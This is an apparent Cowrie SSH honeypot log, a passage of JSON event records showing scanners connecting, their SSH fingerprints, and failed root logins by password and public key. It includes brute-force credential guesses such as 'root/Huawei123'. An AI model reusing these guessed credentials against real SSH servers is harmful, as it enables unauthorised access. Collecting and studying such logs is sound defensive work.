{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:41.709624Z","src_ip":"139.59.208.49","session":"dc35e6b6238a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig~12345","message":"login attempt [root/K0nig~12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:42.074006Z","src_ip":"139.59.208.49","session":"dc35e6b6238a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":49288,"dst_ip":"159.203.135.109","dst_port":22,"session":"6be356e5a547","protocol":"ssh","message":"New connection: 88.147.30.59:49288 (159.203.135.109:22) [session: 6be356e5a547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:42.632031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:42.637248Z","src_ip":"88.147.30.59","session":"6be356e5a547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:42.759690Z","src_ip":"88.147.30.59","session":"6be356e5a547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:43.158812Z","src_ip":"139.59.208.49","session":"dc35e6b6238a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:43.265597Z","src_ip":"88.147.30.59","session":"6be356e5a547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34424,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e6a52df7832","protocol":"ssh","message":"New connection: 8.218.166.49:34424 (10.17.0.5:22) [session: 2e6a52df7832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:43.563299Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:44.389494Z","src_ip":"88.147.30.59","session":"6be356e5a547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.170.247.81","src_port":38200,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd69a8e32fef","protocol":"ssh","message":"New connection: 107.170.247.81:38200 (10.17.0.5:22) [session: cd69a8e32fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.333904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.339111Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.405696Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:f0:01:c3:2e:15:69:7a:f4:e2:53:3e:48:ca:d6:43","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINSH8s2Lb79MEi6pVa5BFmQDBo/s8+4qFgQQoMUJMkDk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e0:f0:01:c3:2e:15:69:7a:f4:e2:53:3e:48:ca:d6:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.712255Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:f0:01:c3:2e:15:69:7a:f4:e2:53:3e:48:ca:d6:43","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINSH8s2Lb79MEi6pVa5BFmQDBo/s8+4qFgQQoMUJMkDk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.716218Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:25:93:e9:85:25:9c:63:85:65:19:47:a3:dc:10:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXxcouzZlxQPBM6/FbJkxzRGfRWE9j7iQ8ZHT/U5ffNjstjCK4OrYRyGqMGHtE6WWcQVEtSk+WrRCxynNaJaSuv3nCoPsXOPnkdb84D6YQkz+OwTwDKYyJaAxI1jm9vLEU+zOypZx9AJdoS2hW9mYYGs4iKYB7977mbC/pi7ccYLETG6B3LehvHIY1GTM5Wz/ivOBOJzGC6u2V5Ia/Z7Xz07oAIq/k/PHEWsVYTn/1ay079IJ9Bg0sd08NH+hl/MhQWPMIZvmIhFUkvqGxJ8p3EXYIaeAE6rpkojrLJO7Lrnok+1YTfIAbQKaRY99d2DNdPozKPXXqOjN0D00dYpxx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:25:93:e9:85:25:9c:63:85:65:19:47:a3:dc:10:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.784438Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:25:93:e9:85:25:9c:63:85:65:19:47:a3:dc:10:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXxcouzZlxQPBM6/FbJkxzRGfRWE9j7iQ8ZHT/U5ffNjstjCK4OrYRyGqMGHtE6WWcQVEtSk+WrRCxynNaJaSuv3nCoPsXOPnkdb84D6YQkz+OwTwDKYyJaAxI1jm9vLEU+zOypZx9AJdoS2hW9mYYGs4iKYB7977mbC/pi7ccYLETG6B3LehvHIY1GTM5Wz/ivOBOJzGC6u2V5Ia/Z7Xz07oAIq/k/PHEWsVYTn/1ay079IJ9Bg0sd08NH+hl/MhQWPMIZvmIhFUkvqGxJ8p3EXYIaeAE6rpkojrLJO7Lrnok+1YTfIAbQKaRY99d2DNdPozKPXXqOjN0D00dYpxx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.788302Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:c5:47:af:e7:77:00:1e:a6:e3:03:10:18:4f:ad:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuYuJYf8jbhCOH6Wg5iSCrSCyjDW77JealbkShHH1mXI3XaYl6gkSsN2J5scEhKUqD1N8IYtlKcnzvk03/QwJcdqrP+/7lYDhTdoSPDJy1rKfFenCY4Qt35VEOtNW79MlmTU7QpPT8Cn/5wnv8E3m0NznN4G1DJ0IuVv73WaPAhAztIShXyEdcYcFepq6sxFDmvR5ZnjO+gBfTVt1FA9sMscL5onG3SanN0BYTylh2SsbNlstbN9PQ0J7dlCcqfORZjPzGhcgcE4BGRQC+Zky8qXmd0+IvNStH08wIa3E5087cg/y/d4ZQAFN40yzNzyHwepxy5uc/KDBLOmuVUcNFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:c5:47:af:e7:77:00:1e:a6:e3:03:10:18:4f:ad:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.861785Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:c5:47:af:e7:77:00:1e:a6:e3:03:10:18:4f:ad:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuYuJYf8jbhCOH6Wg5iSCrSCyjDW77JealbkShHH1mXI3XaYl6gkSsN2J5scEhKUqD1N8IYtlKcnzvk03/QwJcdqrP+/7lYDhTdoSPDJy1rKfFenCY4Qt35VEOtNW79MlmTU7QpPT8Cn/5wnv8E3m0NznN4G1DJ0IuVv73WaPAhAztIShXyEdcYcFepq6sxFDmvR5ZnjO+gBfTVt1FA9sMscL5onG3SanN0BYTylh2SsbNlstbN9PQ0J7dlCcqfORZjPzGhcgcE4BGRQC+Zky8qXmd0+IvNStH08wIa3E5087cg/y/d4ZQAFN40yzNzyHwepxy5uc/KDBLOmuVUcNFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.865630Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:7c:eb:33:c2:8d:09:08:01:79:16:c1:39:e3:71:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+r0n8CkTuCGk/po/mfbwmeZRgxTerO2Vz7HtuZY2eg3tmQEywDTWFgy5m6QO7V5mXAIQQ0lqIMEqdBy8RaTWpAFPq1fXWhNYiLqeig0iPPkJacp5EoRZ/Ucyqjyz4IXtMxGYFvwb1AFg4g+0IunoKil4mDpsTa+NbACMYbD341/oC3qzeb4So6EQ5ut95lRooZfi2Z9gX0aquXQzfT2tjUcqQG4rCQpaXpA2glQ1Pm9FquAcMm/TTlTpr7C8sZGZELmrYnY6wYEBnOXzflJPGhZqbWfiZSeRJk7zFzmaiCFX8v5MqVEpDc+YEFW74oQBOwSz1ukCrbDW8uVNJXipz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:7c:eb:33:c2:8d:09:08:01:79:16:c1:39:e3:71:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.934480Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:7c:eb:33:c2:8d:09:08:01:79:16:c1:39:e3:71:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+r0n8CkTuCGk/po/mfbwmeZRgxTerO2Vz7HtuZY2eg3tmQEywDTWFgy5m6QO7V5mXAIQQ0lqIMEqdBy8RaTWpAFPq1fXWhNYiLqeig0iPPkJacp5EoRZ/Ucyqjyz4IXtMxGYFvwb1AFg4g+0IunoKil4mDpsTa+NbACMYbD341/oC3qzeb4So6EQ5ut95lRooZfi2Z9gX0aquXQzfT2tjUcqQG4rCQpaXpA2glQ1Pm9FquAcMm/TTlTpr7C8sZGZELmrYnY6wYEBnOXzflJPGhZqbWfiZSeRJk7zFzmaiCFX8v5MqVEpDc+YEFW74oQBOwSz1ukCrbDW8uVNJXipz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:48.938244Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:71:52:35:f5:fb:91:8d:90:41:da:9c:ab:3f:be:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9JhmjDrYinXl13Z1sxi6LtXSMg5LTMsBtdYAyk7YM0Y6vwT2uT3mAfZie+2Gak2lAp/UHB57L0f/VCFmnDkUluq0jhLHHcjoCfv1ONEbShbm2nxMxV9/UdZ2PjnwpN5hfIUjyFAVwq2j7drFArbjuUTIBG4daUCyHvNnm8XsenuE9uSTqXXkpN/55HPeoaKyG3n1r4FDYl3pQ864r8nwWG+3l/6D+EBvNbqV5+Iaar6OEfkAybRfaaPDLP+LrJX2UEyfGxBxn5Ngvig9MoG4v8ilpn+tInyXHjU4LRNf0YnZicNjuvjaLQ8ZTAS7RzrJVopfJ7irXzix4EK3RtEwh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:71:52:35:f5:fb:91:8d:90:41:da:9c:ab:3f:be:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:49.010570Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:71:52:35:f5:fb:91:8d:90:41:da:9c:ab:3f:be:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9JhmjDrYinXl13Z1sxi6LtXSMg5LTMsBtdYAyk7YM0Y6vwT2uT3mAfZie+2Gak2lAp/UHB57L0f/VCFmnDkUluq0jhLHHcjoCfv1ONEbShbm2nxMxV9/UdZ2PjnwpN5hfIUjyFAVwq2j7drFArbjuUTIBG4daUCyHvNnm8XsenuE9uSTqXXkpN/55HPeoaKyG3n1r4FDYl3pQ864r8nwWG+3l/6D+EBvNbqV5+Iaar6OEfkAybRfaaPDLP+LrJX2UEyfGxBxn5Ngvig9MoG4v8ilpn+tInyXHjU4LRNf0YnZicNjuvjaLQ8ZTAS7RzrJVopfJ7irXzix4EK3RtEwh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:49.014280Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:49.022701Z","src_ip":"8.218.166.49","session":"2e6a52df7832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:49.026067Z","src_ip":"8.218.166.49","session":"2e6a52df7832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:49.090278Z","src_ip":"107.170.247.81","session":"cd69a8e32fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:51.397449Z","src_ip":"8.218.166.49","session":"2e6a52df7832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:52.717669Z","src_ip":"8.218.166.49","session":"2e6a52df7832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":40272,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e8fdb7995d3","protocol":"ssh","message":"New connection: 189.113.47.155:40272 (159.203.135.109:22) [session: 8e8fdb7995d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:59.805028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:59.809606Z","src_ip":"189.113.47.155","session":"8e8fdb7995d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:12:59.924526Z","src_ip":"189.113.47.155","session":"8e8fdb7995d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walden","message":"login attempt [root/walden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:00.421485Z","src_ip":"189.113.47.155","session":"8e8fdb7995d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:01.541009Z","src_ip":"189.113.47.155","session":"8e8fdb7995d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":50152,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc40ea39f8b8","protocol":"ssh","message":"New connection: 190.167.237.191:50152 (159.203.135.109:22) [session: dc40ea39f8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:22.506972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:13:22.512390Z","src_ip":"190.167.237.191","session":"dc40ea39f8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes